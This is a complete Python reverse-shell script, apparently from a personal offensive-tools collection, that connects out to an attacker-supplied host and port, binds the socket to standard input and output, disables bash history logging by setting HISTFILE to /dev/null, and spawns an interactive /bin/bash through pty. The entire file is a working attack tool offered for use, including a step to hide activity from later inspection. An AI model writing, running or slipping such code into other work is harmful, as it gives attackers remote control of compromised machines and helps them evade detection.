#!/usr/bin/env python3
"""
Author       - pyCity
Date         - 3/29/2019
Version      - 1.0

Usage:       - python pty_rev_shell.py 127.0.0.1 4444

Description: - Reverse shell in python 3 using pty module
             - Usable with both python 2 and 3
"""

import os
import sys
import pty
import socket


if len(sys.argv) != 3:
    exit("Usage: python3 pty_rev_shell.py 127.0.0.1 4444")


def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')  # Don't record any history
    pty.spawn("/bin/bash")  # Spawn a bash shell with pty
    s.close()


if __name__ == "__main__":
    host, port = sys.argv[1], sys.argv[2]
    main()
